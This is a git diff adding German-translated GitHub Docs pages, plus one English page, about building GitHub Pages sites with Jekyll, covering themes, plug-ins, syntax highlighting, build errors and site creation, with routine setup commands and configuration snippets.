+Zur Verwendung eines beliebigen anderen auf {% data variables.product.prodname_dotcom %} gehosteten Open-Source-Designs von Jekyll kannst du dieses manuell hinzufügen.{% else %} Du kannst deiner Website ein Design manuell hinzufügen.{% endif %} Weitere Informationen findest du unter{% ifversion fpt or ghec %} [Auf {% data variables.product.prodname_dotcom %} gehostete Designs](https://github.com/topics/jekyll-theme) und{% else %} [Unterstützte Designs](https://pages.github.com/themes/) auf der {% data variables.product.prodname_pages %}-Website und{% endif %} [Hinzufügen eines Designs zu deiner {% data variables.product.prodname_pages %}-Website mit Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll).
+
+Du kannst alle Standardeinstellungen deines Designs überschreiben, indem du die Dateien des Designs bearbeitest. Weitere Informationen findest du in der Dokumentation zu deinem Design und in der Jekyll-Dokumentation unter „[Overriding your theme's defaults](https://jekyllrb.com/docs/themes/#overriding-theme-defaults)“.
+
+## Plug-Ins
+
+Du kannst Jekyll-Plug-ins herunterladen oder erstellen, um die Funktionalität von Jekyll für deine Website zu erweitern. Mit dem Plugin [jemoji](https://github.com/jekyll/jemoji) kannst du beispielsweise {% data variables.product.prodname_dotcom %}-Emojis auf allen Seiten deiner Website genauso verwenden wie auf {% data variables.product.prodname_dotcom %}. Weitere Informationen findest du in der Jekyll-Dokumentation unter „[Plugins](https://jekyllrb.com/docs/plugins/)“.
+
+{% data variables.product.prodname_pages %} verwendet Plug-ins, die standardmäßig aktiviert sind und nicht deaktiviert werden können:
+- [`jekyll-coffeescript`](https://github.com/jekyll/jekyll-coffeescript)
+- [`jekyll-default-layout`](https://github.com/benbalter/jekyll-default-layout)
+- [`jekyll-gist`](https://github.com/jekyll/jekyll-gist)
+- [`jekyll-github-metadata`](https://github.com/jekyll/github-metadata)
+- [`jekyll-optional-front-matter`](https://github.com/benbalter/jekyll-optional-front-matter)
+- [`jekyll-paginate`](https://github.com/jekyll/jekyll-paginate)
+- [`jekyll-readme-index`](https://github.com/benbalter/jekyll-readme-index)
+- [`jekyll-titles-from-headings`](https://github.com/benbalter/jekyll-titles-from-headings)
+- [`jekyll-relative-links`](https://github.com/benbalter/jekyll-relative-links)
+
+Du kannst zusätzliche Plug-Ins aktivieren, indem du das Gem des Plug-Ins der `plugins`-Einstellung in der *_config.yml*-Datei hinzufügst. Weitere Informationen findest du in der Jekyll-Dokumentation unter „[Configuration](https://jekyllrb.com/docs/configuration/)“.
+
+Eine Liste der unterstützten Plug-Ins findest du auf der {% data variables.product.prodname_pages %}-Website unter „[Abhängigkeitsversionen](https://pages.github.com/versions/)“.  Informationen zur Verwendung eines bestimmten Plug-ins findest du in der dazugehörigen Dokumentation.
+
+{% tip %}
+
+**Tipp:** Um sicherzustellen, dass du die aktuellen Versionen aller Plug-Ins verwendest, solltest du das {% data variables.product.prodname_pages %}-Gem regelmäßig aktualisieren. Weitere Informationen findest du auf der {% data variables.product.prodname_pages %}-Website unter „[Lokales Testen der GitHub Pages-Website mit Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll#updating-the-github-pages-gem)“ und „[Abhängigkeitsversionen](https://pages.github.com/versions/)“.
+
+{% endtip %}
+
+{% data variables.product.prodname_pages %} kann keine Websites mit nicht unterstützten Plug-ins erstellen. Wenn du nicht unterstützte Plug-ins verwenden möchtest, musst du deine Website lokal erstellen und die statischen Dateien der Website anschließend zu {% data variables.product.product_name %} pushen.
+
+## Syntaxhervorhebung
+
+Damit deine Website leichter lesbar ist, werden Codeausschnitte auf {% data variables.product.prodname_pages %}-Websites ebenso markiert wie auf {% data variables.product.product_name %}. Weitere Informationen zur Syntaxhervorhebung auf {% data variables.product.product_name %} findest du unter „[Erstellen und Hervorheben von Codeblöcken](/articles/creating-and-highlighting-code-blocks)“.
+
+Standardmäßig werden Codeblöcke auf deiner Website von Jekyll markiert. Jekyll verwendet den [Rouge](https://github.com/jneen/rouge)-Marker, der mit [Pygments](http://pygments.org/) kompatibel ist. Pygments ist veraltet und wird in Jekyll 4 nicht unterstützt. Wenn du Pygments in deiner *_config.yml*-Datei angibst, wird Rouge stattdessen als Fallback verwendet. Jekyll kann keinen anderen Syntaxmarker verwenden. Wenn du einen anderen Syntaxmarker in der *_config.yml*-Datei angibst, wird eine Buildwarnung für die Website angezeigt. Weitere Informationen findest du unter „[Informationen zu Jekyll-Buildfehlern für {% data variables.product.prodname_pages %}-Websites](/articles/about-jekyll-build-errors-for-github-pages-sites)“.
+
+Wenn du einen anderen Marker (z. B. `highlight.js`) verwenden möchtest, musst du die Jekyll-Syntaxhervorhebung deaktivieren, indem du die *_config.yml*-Datei deines Projekts aktualisierst.
+
+```yaml
+kramdown:
+  syntax_highlighter_opts:
+    disable : true
+```
+
+Wenn dein Design kein CSS für Syntaxhervorhebung enthält, kannst du {% data variables.product.prodname_dotcom %}-Syntaxhervorhebungs-CSS generieren und der `style.css`-Datei des Projekts hinzufügen.
+
+```shell
+$ rougify style github > style.css
+```
+
+## Website lokal erstellen
+
+{% data reusables.pages.test-locally %}
diff --git a/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md
new file mode 100644
index 0000000000..fc1ad349c6
--- /dev/null
+++ b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md
@@ -0,0 +1,91 @@
+---
+title: Informationen zu Jekyll-Build-Fehler für GitHub Pages-Websites
+intro: 'Wenn beim Erstellen deiner {% data variables.product.prodname_pages %}-Website (lokal oder auf {% data variables.product.product_name %}) mit Jekyll ein Fehler auftritt, erhältst du eine Fehlermeldung mit weiteren Informationen.'
+redirect_from:
+  - /articles/viewing-jekyll-build-error-messages
+  - /articles/generic-jekyll-build-failures
+  - /articles/about-jekyll-build-errors-for-github-pages-sites
+  - /github/working-with-github-pages/about-jekyll-build-errors-for-github-pages-sites
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Jekyll build errors for Pages
+ms.openlocfilehash: c435d7857239ae4a8b1a09c86e10fe12b248a4b2
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147648239'
+---
+## Informationen zu Jekyll-Build-Fehlern
+
+{% ifversion pages-custom-workflow %} Wenn die Veröffentlichung aus einem Branch erfolgt, wird manchmal von{% else %}Manchmal wird von{% endif %} {% data variables.product.prodname_pages %} versucht, deine Website zu erstellen, nachdem du Änderungen an die Veröffentlichungsquelle deiner Website gepusht hast.{% ifversion fpt or ghec %}
+- Der Benutzer, der die Änderungen gepusht hat, hat seine E-Mail-Adresse nicht verifiziert. Weitere Informationen findest du unter [Verifizieren deiner E-Mail-Adresse](/articles/verifying-your-email-address).{% endif %}
+- Du führst den Push mit einem Deployment-Schlüssel durch. Wenn du das Pushen an das Repository deiner Website automatisieren möchtest, kannst du stattdessen eine*n Computerbenutzer*in einrichten. Weitere Informationen findest du unter [Verwalten von Bereitstellungsschlüsseln](/developers/overview/managing-deploy-keys#machine-users).
+- Du verwendest einen CI-Dienst, der nicht zum Erstellen deiner Veröffentlichungsquelle konfiguriert ist. Beispielsweise erstellt Travis CI den `gh-pages`-Branch nicht, bis du den Branch zur Liste sicherer Branches hinzufügst. Weitere Informationen zu Travis CI findest du unter [Anpassen des Builds](https://docs.travis-ci.com/user/customizing-the-build/#safelisting-or-blocklisting-branches) oder in der Dokumentation deines CI-Diensts.
+
+{% note %}
+
+**Hinweis**: Nach dem Pushen der Änderung an {% data variables.product.product_name %} kann es bis zu 10 Minuten dauern, bis die Änderungen an deiner Website veröffentlicht werden.
+
+{% endnote %}
+
+{% ifversion build-pages-with-actions %} Wenn bei dem Versuch von Jekyll, deine Website zu erstellen, ein Fehler auftritt, wird eine Buildfehlermeldung angezeigt.
+{% else %} Wenn bei dem Versuch von Jekyll, deine Website zu erstellen, ein Fehler auftritt, wird eine Buildfehlermeldung angezeigt. Es gibt zwei Hauptarten an Jekyll-Build-Fehlermeldungen.
+- Die Meldung „Page build warning“ (Seitenbuildwarnung) bedeutet, dass deine Website erfolgreich erstellt wurde, du aber Änderungen vornehmen musst, um künftige Probleme zu verhindern.
+- Die Meldung „Page build failed“ (Seitenbuild fehlgeschlagen) bedeutet, dass dein Build nicht abgeschlossen werden konnte. Wenn Jekyll einen Grund dafür erkennt, enthält die Fehlermeldung eine Beschreibung der Ursache.
+{% endif %}
+
+Weitere Informationen zur Behandlung von Buildfehlern findest du unter [Behandelung von Jekyll-Buildfehlern für {% data variables.product.prodname_pages %}-Websites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites).
+
+{% ifversion build-pages-with-actions %}
+## Anzeigen von Jekyll-Buildfehlermeldungen mit {% data variables.product.prodname_actions %}
+
+Deine {% data variables.product.prodname_pages %}-Website wird standardmäßig mit einer {% data variables.product.prodname_actions %}-Workflowausführung erstellt und bereitgestellt, es sei denn, du hast deine {% data variables.product.prodname_pages %}-Website so konfiguriert, dass ein anderes CI-Tool verwendet wird. Du kannst die Workflowausführung deiner {% data variables.product.prodname_pages %}-Website überprüfen, um nach möglichen Buildfehler zu suchen, indem du die Workflowausführungen deines Repositorys überprüfst. Weitere Informationen findest du unter [Aufrufen des Workflow-Ausführungsverlaufs](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history).  Weitere Informationen zum erneuten Ausführen des Workflows im Falle eines Fehlers findest du unter [Erneutes Ausführen von Workflows und Aufträgen](/actions/managing-workflow-runs/re-running-workflows-and-jobs).
+{% endif %}
+
+{% ifversion build-pages-with-actions %}{% else %}
+## Anzeigen der Buildfehler deines Repositorys auf {% data variables.product.product_name %}
+
+Du kannst Buildfehler (aber keine Buildwarnungen) für deine Website auf {% data variables.product.product_name %} auf der Registerkarte **Einstellungen** im Repository deiner Website anzeigen.
+{% endif %}
+
+## Lokales Anzeigen von Jekyll-Buildfehlermeldungen
+
+Wir empfehlen dir, deine Website lokal zu testen. Dadurch siehst du Build-Fehlermeldungen in der Befehlszeile und kannst Build-Fehler beheben, bevor du die Änderungen zu {% data variables.product.product_name %} pushst. Weitere Informationen findest du unter [Lokales Testen deiner {% data variables.product.prodname_pages %}-Website mit Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll).
+
+## Anzeigen von Jekyll-Buildfehlermeldungen in deinem Pull Request
+
+{% ifversion pages-custom-workflow %} Wenn die Veröffentlichung aus einem Branch erfolgt und du{% else %}Wenn{% endif %} du einen Pull Request erstellst, um deine Veröffentlichungsquelle auf {% data variables.product.product_name %} zu aktualisieren, kannst du Fehlermeldungen auf der Registerkarte **Überprüfungen** des Pull Requests anzeigen. Weitere Informationen findest du unter [Informationen zu Statusüberprüfungen](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks).
+
+{% ifversion pages-custom-workflow %} Wenn du für die Veröffentlichung einen benutzerdefinierten {% data variables.product.prodname_actions %}-Workflow verwendest, musst du den Workflow so konfigurieren, dass er beim `pull_request`-Trigger ausgeführt wird, um Buildfehlermeldungen in deinem Pull Request anzeigen zu können. In diesem Fall wird empfohlen, alle Bereitstellungsschritte zu überspringen, wenn der Workflow vom `pull_request`-Ereignis ausgelöst wurde. Auf diese Weise kannst du Buildfehler anzeigen, ohne die Änderungen aus deinem Pull Request auf deiner Website bereitzustellen. Weitere Informationen findest du unter [Ereignisse, die Workflows auslösen](/actions/using-workflows/events-that-trigger-workflows#pull_request) und [Ausdrücke](/actions/learn-github-actions/expressions).{% endif %}
+
+## Anzeigen von Jekyll-Buildfehlern per E-Mail
+
+{% ifversion pages-custom-workflow %} Wenn die Veröffentlichung aus einem Branch erfolgt und{% else %}Wenn{% endif %} du Änderungen an deine Veröffentlichungsquelle auf {% data variables.product.product_name %} pushst, versucht {% data variables.product.prodname_pages %}, deine Website zu erstellen. Wenn der Build fehlschlägt, wird eine E-Mail an deine primäre E-Mail-Adresse gesendet. {% data reusables.pages.build-failure-email-server %}
+
+{% ifversion pages-custom-workflow %} Wenn du für die Veröffentlichung einen benutzerdefinierten {% data variables.product.prodname_actions %}-Workflow verwendest, musst du den Workflow so konfigurieren, dass er beim `pull_request`-Trigger ausgeführt wird, um E-Mails über Buildfehler in deinem Pull Request anzeigen zu können. In diesem Fall wird empfohlen, alle Bereitstellungsschritte zu überspringen, wenn der Workflow vom `pull_request`-Ereignis ausgelöst wurde. Auf diese Weise kannst du Buildfehler anzeigen, ohne die Änderungen aus deinem Pull Request auf deiner Website bereitzustellen. Weitere Informationen findest du unter [Ereignisse, die Workflows auslösen](/actions/using-workflows/events-that-trigger-workflows#pull_request) und [Ausdrücke](/actions/learn-github-actions/expressions).{% endif %}
+
+## Anzeigen von Jekyll-Buildfehlermeldungen in deinem Pull Request mit einem CI-Drittanbieterdienst
+
+Du kannst einen Drittanbieterdienst wie [Travis CI](https://travis-ci.org/) so konfigurieren, dass nach jedem Commit Fehlermeldungen angezeigt werden.
+
+1. Füge eine Datei namens _Gemfile_ zum Stamm deiner Veröffentlichungsquelle mit den folgenden Inhalten hinzu (falls diese noch nicht vorhanden ist):
+  ```ruby
+  source `https://rubygems.org`
+  gem `github-pages`
+  ```
+
+2. Konfiguriere das Repository deiner Website für den gewünschten Testdienst. Um beispielsweise [Travis CI](https://travis-ci.org/) zu verwenden, füge eine Datei namens _.travis.yml_ zum Stamm deiner Veröffentlichungsquelle mit den folgenden Inhalten hinzu:
+  ```yaml
+  language: ruby
+  rvm:
+    - 2.3
+  script: "bundle exec jekyll build"
+  ```
+3. Du musst dein Repository eventuell mit dem Drittanbieter-Testdienst aktivieren. Weitere Informationen findest du in der Dokumentation deines Testdiensts.
diff --git a/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
new file mode 100644
index 0000000000..0521da4389
--- /dev/null
+++ b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
@@ -0,0 +1,74 @@
+---
+title: Ein Design zur GitHub Pages-Website mit Jekyll hinzufügen
+intro: 'Du kannst deine Jekyll-Website personalisieren, indem du ein Design hinzufügst und anpasst.'
+redirect_from:
+  - /articles/customizing-css-and-html-in-your-jekyll-theme
+  - /articles/adding-a-jekyll-theme-to-your-github-pages-site
+  - /articles/adding-a-theme-to-your-github-pages-site-using-jekyll
+  - /github/working-with-github-pages/adding-a-theme-to-your-github-pages-site-using-jekyll
+  - /pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Add theme to Pages site
+ms.openlocfilehash: 33969695e96aa0629b2811e2742ca3093e58139a
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147644795'
+---
+Personen mit Schreibberechtigungen für ein Repository können mit Jekyll ein Design zu einer {% data variables.product.prodname_pages %}-Website hinzufügen.
+
+{% data reusables.pages.test-locally %}
+
+## Ein Design hinzufügen
+
+{% data reusables.pages.navigate-site-repo %} {% data reusables.pages.navigate-publishing-source %}
+2. Navigiere zu *_config.yml*.
+{% data reusables.repositories.edit-file %}
+4. Füge in der Datei eine neue Zeile mit den Namen des Designs hinzu.
+   - Um ein unterstütztes Design zu verwenden, gib `theme: THEME-NAME` ein und ersetze _THEME-NAME_ durch den Namen des Designs, der im README-Abschnitt des Repositorys des Designs angezeigt wird. Eine Liste der unterstützten Designs findest du unter [Unterstützte Designs](https://pages.github.com/themes/) auf der {% data variables.product.prodname_pages %}-Website.
+   ![Unterstütztes Design in der Konfigurationsdatei](/assets/images/help/pages/add-theme-to-config-file.png)
+   - Um ein anderes Jekyll-Design zu verwenden, das auf {% data variables.product.prodname_dotcom %} gehostet wird, gib `remote_theme: THEME-NAME` ein und ersetze dabei „THEME-NAME“ durch den Namen des Designs, der im README-Abschnitt des Repositorys des Designs angezeigt wird.
+   ![Nicht unterstütztes Design in der Konfigurationsdatei](/assets/images/help/pages/add-remote-theme-to-config-file.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %}
+
+## Das CSS Deines Designs anpassen
+
+{% data reusables.pages.best-with-supported-themes %}
+
+{% data reusables.pages.theme-customization-help %}
+
+{% data reusables.pages.navigate-site-repo %} {% data reusables.pages.navigate-publishing-source %}
+1. Erstelle eine neue Datei namens _/assets/css/style.scss_.
+2. Füge oben in der Datei den folgenden Inhalt hinzu:
+  ```scss
+  ---
+  ---
+
+  @import "{% raw %}{{ site.theme }}{% endraw %}";
+  ```
+3. Füge direkt nach der Zeile `@import` das gewünschte benutzerdefinierte CSS- oder Sass-Stylesheet (einschließlich Importen) hinzu.
+
+## Das HTML-Layout Deines Designs anpassen
+
+{% data reusables.pages.best-with-supported-themes %}
+
+{% data reusables.pages.theme-customization-help %}
+
+1. Navigiere auf {% data variables.product.prodname_dotcom %} zum Quell-Repository deines Designs. Beispielsweise ist https://github.com/jekyll/minima das Quell-Repository für Minima.
+2. Navigiere im Ordner *_layouts* zur _default.html_-Datei deines Designs.
+3. Kopieren Sie den Inhalt der Datei.
+{% data reusables.pages.navigate-site-repo %} {% data reusables.pages.navigate-publishing-source %}
+6. Erstelle eine Datei namens *_layouts/default.html*.
+7. Füge den zuvor kopierten Inhalt des Standardlayouts ein.
+8. Passe das Layout nach Deinen Vorstellungen an.
+
+## Weiterführende Themen
+
+- [Erstellen neuer Dateien](/articles/creating-new-files)
diff --git a/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll.md b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll.md
new file mode 100644
index 0000000000..d643bd2774
--- /dev/null
+++ b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll.md
@@ -0,0 +1,71 @@
+---
+title: Inhalte zur GitHub Pages-Website mit Jekyll hinzufügen
+intro: 'Du kannst deiner Jekyll-Website auf {% data variables.product.prodname_pages %} eine neue Seite oder einen neuen Beitrag hinzufügen.'
+product: '{% data reusables.gated-features.pages %}'
+redirect_from:
+  - /articles/adding-content-to-your-github-pages-site-using-jekyll
+  - /github/working-with-github-pages/adding-content-to-your-github-pages-site-using-jekyll
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Add content to Pages site
+ms.openlocfilehash: 90bd0d067837364eb2767739da286da7906399c0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145134213'
+---
+Personen mit Schreibberechtigungen für ein Repository können mit Jekyll Inhalte zu einer {% data variables.product.prodname_pages %}-Website hinzufügen.
+
+## Informationen zu Inhalten von Jekyll-Websites
+
+Bevor du Inhalte zu einer Jekyll-Website auf {% data variables.product.prodname_pages %} hinzufügen kannst, musst du eine Jekyll-Website erstellen. Weitere Informationen findest du unter [Erstellen einer {% data variables.product.prodname_pages %}-Website mit Jekyll](/articles/creating-a-github-pages-site-with-jekyll).
+
+Die hauptsächlichen Arten von Inhalten für Jekyll-Websites sind Seiten und Beiträge. Eine Seite wird für eigenständige Inhalte genutzt, die nicht mit einem bestimmten Datum verknüpft sind, z. B. eine Seite mit Informationen zu deiner Person oder Organisation. Die Jekyll-Standardwebsite enthält eine Datei mit dem Namen `about.md`, die als Seite auf deiner Website unter `YOUR-SITE-URL/about` gerendert wird. Du kannst den Inhalt dieser Datei bearbeiten, um deine Informationsseite zu personalisieren. Die Informationsseite kannst du außerdem als Vorlage für neue Seiten verwenden. Weitere Informationen findest du in der Jekyll-Dokumentation unter [Seiten](https://jekyllrb.com/docs/pages/).
+
+Bei einem Beitrag handelt es sich um einen Blog-Beitrag. Die Jekyll-Standardwebsite enthält ein Verzeichnis namens `_posts`, das eine Datei mit einem Standardposting enthält. Du kannst den Inhalt dieses Beitrags bearbeiten und den Standardbeitrag als Vorlage für neue Beiträge verwenden. Weitere Informationen findest du in der Jekyll-Dokumentation unter [Postings](https://jekyllrb.com/docs/posts/).
+
+Dein Design umfasst Standardlayouts, -includes und -stylesheets, die automatisch auf neue Seiten und Beiträge auf deiner Website angewendet werden. Du kannst diese Standardeinstellungen jedoch außer Kraft setzen. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_pages %} und Jekyll](/articles/about-github-pages-and-jekyll#themes).
+
+{% data reusables.pages.about-front-matter %}
+
+{% data reusables.pages.test-locally %}
+
+## Eine neue Seite zu deiner Website hinzufügen
+
+{% data reusables.pages.navigate-site-repo %} {% data reusables.pages.navigate-publishing-source %}
+3. Erstelle im Stammverzeichnis deiner Veröffentlichungsquelle eine neue Datei namens _PAGE-NAME.md_ für deine Seite, und ersetze _PAGE-NAME_ durch einen aussagekräftigen Dateinamen für die Seite.
+4. Füge am Anfang der Datei den folgenden YAML-Frontmatter ein, indem du _PAGE TITLE_ durch den Titel der Seite und _URL-PATH_ durch den gewünschten Pfad für die URL der Seite ersetzt. Wenn die Basis-URL deiner Website zum Beispiel `https://octocat.github.io` und dein _URL-PATH_ `/about/contact/` lautet, befindet sich deine Seite unter `https://octocat.github.io/about/contact`.
+  ```shell
+  layout: page
+  title: "<em>PAGE TITLE</em>"
+  permalink: /<em>URL-PATH</em>/
+  ```
+5. Füge unterhalb des Frontmatter den Inhalt für deine Seite hinzu.
+{% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} {% data reusables.files.choose_pull_request %} {% data reusables.files.merge_pull_request %} {% data reusables.files.write_commit_message_pull_request %} {% data reusables.files.confirm_merge %} {% data reusables.files.delete_branch %}
+
+## Einen neuen Beitrag zu deiner Website hinzufügen
+
+{% data reusables.pages.navigate-site-repo %} {% data reusables.pages.navigate-publishing-source %}
+3. Navigiere zum Verzeichnis `_posts`.
+4. Erstelle eine neue Datei _YYYY-MM-DD-NAME-OF-POST.md_, bei der du _YYYY-MM-DD_ durch das Datum deines Beitrags und _NAME-OF-POST_ durch den Namen deines Beitrags ersetzt.
+4. Füge den folgenden YAML-Frontmatter am Anfang der Datei hinzu, und ersetze _POST TITLE_ durch den Titel des Beitrags, _YYYY-MM-DD hh:mm:ss -0000_ durch das Datum und die Uhrzeit des Beitrags und _CATEGORY-1_ und _CATEGORY-2_ durch die gewünschte Anzahl von Kategorien für deinen Beitrag.
+  ```shell
+  layout: post
+  title: "<em>POST TITLE</em>"
+  date: </em>YYYY-MM-DD hh:mm:ss -0000</em>
+  categories: <em>CATEGORY-1</em> <em>CATEGORY-2</em>
+  ```
+5. Füge unterhalb des Frontmatters den Inhalt für deinen Beitrag hinzu.
+{% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} {% data reusables.files.choose_pull_request %} {% data reusables.files.merge_pull_request %} {% data reusables.files.write_commit_message_pull_request %} {% data reusables.files.confirm_merge %} {% data reusables.files.delete_branch %}
+
+Der Beitrag sollte jetzt auf deiner Website angezeigt werden! Wenn die Basis-URL deiner Website `https://octocat.github.io` lautet, dann befindet sich dein neuer Beitrag unter `https://octocat.github.io/YYYY/MM/DD/TITLE.html`.
+
+## Nächste Schritte
+
+{% data reusables.pages.add-jekyll-theme %} Weitere Informationen findest du unter [Hinzufügen eines Designs zu deiner {% data variables.product.prodname_pages %}-Website mithilfe von Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll).
diff --git a/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
new file mode 100644
index 0000000000..389f6ada15
--- /dev/null
+++ b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
@@ -0,0 +1,132 @@
+---
+title: Creating a GitHub Pages site with Jekyll
+intro: 'You can use Jekyll to create a {% data variables.product.prodname_pages %} site in a new or existing repository.'
+product: '{% data reusables.gated-features.pages %}'
+redirect_from:
+  - /articles/creating-a-github-pages-site-with-jekyll
+  - /github/working-with-github-pages/creating-a-github-pages-site-with-jekyll
+permissions: 'People with admin permissions for a repository can create a {% data variables.product.prodname_pages %} site with Jekyll.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Create site with Jekyll
+---
+
+{% data reusables.pages.org-owners-can-restrict-pages-creation %}
+
+## Prerequisites
+
+Before you can use Jekyll to create a {% data variables.product.prodname_pages %} site, you must install Jekyll and Git. For more information, see [Installation](https://jekyllrb.com/docs/installation/) in the Jekyll documentation and "[Set up Git](/articles/set-up-git)."
+
+{% data reusables.pages.recommend-bundler %}
+
+{% data reusables.pages.jekyll-install-troubleshooting %}
+
+## Creating a repository for your site
+
+{% data reusables.pages.new-or-existing-repo %}
+
+{% data reusables.repositories.create_new %}
+{% data reusables.repositories.owner-drop-down %}
+{% indented_data_reference reusables.pages.emu-org-only spaces=3 %}
+{% data reusables.pages.create-repo-name %}
+{% data reusables.repositories.choose-repo-visibility %}
+
+## Creating your site
+
+{% data reusables.pages.must-have-repo-first %}
+
+{% data reusables.pages.private_pages_are_public_warning %}
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+1. If you don't already have a local copy of your repository, navigate to the location where you want to store your site's source files, replacing _PARENT-FOLDER_ with the folder you want to contain the folder for your repository.
+  ```shell
+  $ cd PARENT-FOLDER
+  ```
+1. If you haven't already, initialize a local Git repository, replacing _REPOSITORY-NAME_ with the name of your repository.
+  ```shell
+  $ git init REPOSITORY-NAME
+  > Initialized empty Git repository in /Users/octocat/my-site/.git/
+  # Creates a new folder on your computer, initialized as a Git repository
+  ```
+  4. Change directories to the repository.
+  ```shell
+  $ cd REPOSITORY-NAME
+  # Changes the working directory
+  ```
+{% data reusables.pages.decide-publishing-source %}
+{% data reusables.pages.navigate-publishing-source %}
+  For example, if you chose to publish your site from the `docs` folder on the default branch, create and change directories to the `docs` folder.
+ ```shell
+ $ mkdir docs
+ # Creates a new folder called docs
+ $ cd docs
+ ```
+ If you chose to publish your site from the `gh-pages` branch, create and checkout the `gh-pages` branch.
+ ```shell
+ $ git checkout --orphan gh-pages
+ # Creates a new branch, with no history or contents, called gh-pages, and switches to the gh-pages branch
+ $ git rm -rf .
+ # Removes the contents from your default branch from the working directory
+ ```
+1. To create a new Jekyll site, use the `jekyll new` command:
+   ```shell
+   $ jekyll new --skip-bundle .
+   # Creates a Jekyll site in the current directory
+   ```
+1. Open the Gemfile that Jekyll created.
+1. Add "#" to the beginning of the line that starts with `gem "jekyll"` to comment out this line.
+1. Add the `github-pages` gem by editing the line starting with `# gem "github-pages"`. Change this line to:
+
+   ```shell
+   gem "github-pages", "~> GITHUB-PAGES-VERSION", group: :jekyll_plugins
+   ```
+
+   Replace _GITHUB-PAGES-VERSION_ with the latest supported version of the `github-pages` gem. You can find this version here: "[Dependency versions](https://pages.github.com/versions/)."
+
+   The correct version Jekyll will be installed as a dependency of the `github-pages` gem.
+1. Save and close the Gemfile.
+1. From the command line, run `bundle install`.
+1. Optionally, make any necessary edits to the `_config.yml` file. This is required for relative paths when the repository is hosted in a subdirectory.  For more information, see "[Splitting a subfolder out into a new repository](/github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository)."
+   ```yml
+   domain: my-site.github.io       # if you want to force HTTPS, specify the domain without the http at the start, e.g. example.com
+   url: https://my-site.github.io  # the base hostname and protocol for your site, e.g. http://example.com
+   baseurl: /REPOSITORY-NAME/      # place folder name if the site is served in a subfolder
+  ```
+1. Optionally, test your site locally. For more information, see "[Testing your {% data variables.product.prodname_pages %} site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)."
+1. Add and commit your work.
+```shell
+git add .
+git commit -m 'Initial GitHub pages site with Jekyll'
+```
+1. Add your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} as a remote, replacing {% ifversion ghes or ghae %}_HOSTNAME_ with your enterprise's hostname,{% endif %} _USER_ with the account that owns the repository{% ifversion ghes or ghae %},{% endif %} and _REPOSITORY_ with the name of the repository.
+```shell
+{% ifversion fpt or ghec %}
+$ git remote add origin https://github.com/USER/REPOSITORY.git
+{% else %}
+$ git remote add origin https://HOSTNAME/USER/REPOSITORY.git
+{% endif %}
+```
+1. Push the repository to {% data variables.product.product_name %}, replacing _BRANCH_ with the name of the branch you're working on.
+   ```shell
+   $ git push -u origin BRANCH
+   ```
+{% data reusables.pages.configure-publishing-source %}
+{% data reusables.pages.navigate-site-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.pages.sidebar-pages %}
+{% data reusables.pages.choose-visibility %}
+{% data reusables.pages.visit-site %}
